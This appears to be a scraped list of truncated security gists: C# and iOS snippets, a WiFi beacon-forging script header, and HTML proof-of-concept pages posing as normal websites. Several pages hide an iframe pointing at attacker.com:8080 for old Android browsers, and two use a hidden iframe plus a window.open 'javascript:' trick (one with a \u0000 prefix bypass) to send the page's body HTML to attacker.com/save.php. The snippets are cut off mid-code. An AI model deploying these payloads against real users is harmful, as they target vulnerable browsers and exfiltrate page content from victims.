Chris Frohoff – Qualcomm Information Security and Risk Management
| using System; | |
| using System.Diagnostics; | |
| using System.Reflection; | |
| using System.Configuration.Install; | |
| using System.Runtime.InteropServices; | |
| /* | |
| Author: Casey Smith, Twitter: @subTee |
| <html><head><script src="Spec.js/lib/Spec.js"></script></head> | |
| <body> | |
| <script> | |
| var spec = new Spec(); | |
| if (spec.isDeviceDetected() && spec.getOS() == "Android" && | |
| parseFloat(spec.getOSVersion()) < 4.2) { | |
| var iframe = document.createElement('iframe'); | |
| iframe.style.display="none"; | |
| iframe.src = "http://attacker.com:8080"; | |
| document.body.appendChild(iframe); |
| <html><head></head> | |
| <body> | |
| This is just a normal website... | |
| <iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe> | |
| <script> | |
| document.getElementById("if").style.visibility="hidden"; | |
| window.open("javascript: | |
| var i=new Image(); | |
| i.src='http://attacker.com/save.php?'+document.body.innerHTML; | |
| document.body.appendChild(i); |
| <html><head></head> | |
| <body> | |
| This is just a normal website... | |
| <iframe id="if" name="test" height="0" width="0" src="http://www.salesforce.com"></iframe> | |
| <script> | |
| document.getElementById("if").style.visibility="hidden"; | |
| window.open("\u0000javascript: | |
| var i=new Image(); | |
| i.src='http://attacker.com/save.php?'+document.body.innerHTML; | |
| document.body.appendChild(i); |
| <html><head><script src="Spec.js/lib/Spec.js"></script></head> | |
| <body> | |
| This is a normal website. Look at these pictures of cats... | |
| <script> | |
| var spec = new Spec(); | |
| if (spec.isDeviceDetected() && spec.getOS() == "Android" | |
| && spec.getBrowser != "Chrome" | |
| && parseFloat(spec.getOSVersion()) < 4.4) { | |
| var iframe = document.createElement('iframe'); | |
| iframe.style.display="none"; |
| // Build on OS X with: | |
| // clang debugdetect.cpp -o debugdetect -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7 | |
| #import <dlfcn.h> | |
| #import <sys/types.h> | |
| #import <stdio.h> | |
| typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data); | |
| void disable_dbg() { | |
| ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(RTLD_SELF, "ptrace"); | |
| ptrace_ptr(31, 0, 0, 0); // PTRACE_DENY_ATTACH = 31 | |
| } |
| #!/usr/bin/env python | |
| # -*- coding: UTF-8 -*- | |
| # | |
| # source: https://www.4armed.com/blog/forging-wifi-beacon-frames-using-scapy/ | |
| # | |
| # requires: | |
| # radiotap supported wifi nic/driver (frame injection) (works fine with Ralink RT2571W) | |
| # iwconfig $iface mode monitor | |
| # iw dev $iface set channel $channel | |
| # or |
| // Compile with: | |
| // clang catchredir.m -o catchredir -arch armv7 -isysroot /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk/ -miphoneos-version-min=7 -framework Foundation | |
| #import <Foundation/Foundation.h> | |
| #import <stdio.h> | |
| #import <objc/runtime.h> | |
| @interface UrlConnection : NSObject | |
| @property (strong) NSString *url; | |
| - (void)connect; | |
| @end |